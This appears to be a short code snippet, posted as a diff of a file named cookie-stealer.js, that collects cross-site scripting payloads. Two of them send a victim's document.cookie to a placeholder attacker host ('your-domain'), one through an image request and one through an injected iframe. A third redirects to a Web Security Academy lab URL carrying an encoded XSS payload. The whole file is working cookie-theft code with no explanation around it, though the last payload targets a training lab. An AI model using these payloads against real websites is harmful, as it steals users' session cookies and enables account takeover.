tanaka-geek · December 20, 2021 06:17
diff --git a/cookie-stealer.js b/cookie-stealer.js
 //using normal script
 <script type="text/javascript">var i=new Image;i.src="http://your-domain:9001/?"+document.cookie;</script>

 //iframe
 <script type="text/javascript"> 
 document.write("<iframe src='https://your-domain?cookie="+document.cookie+"'></iframe>");
 </script>

 // this works better
 <script>
 location = 'https://your-lab-id.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
 </script>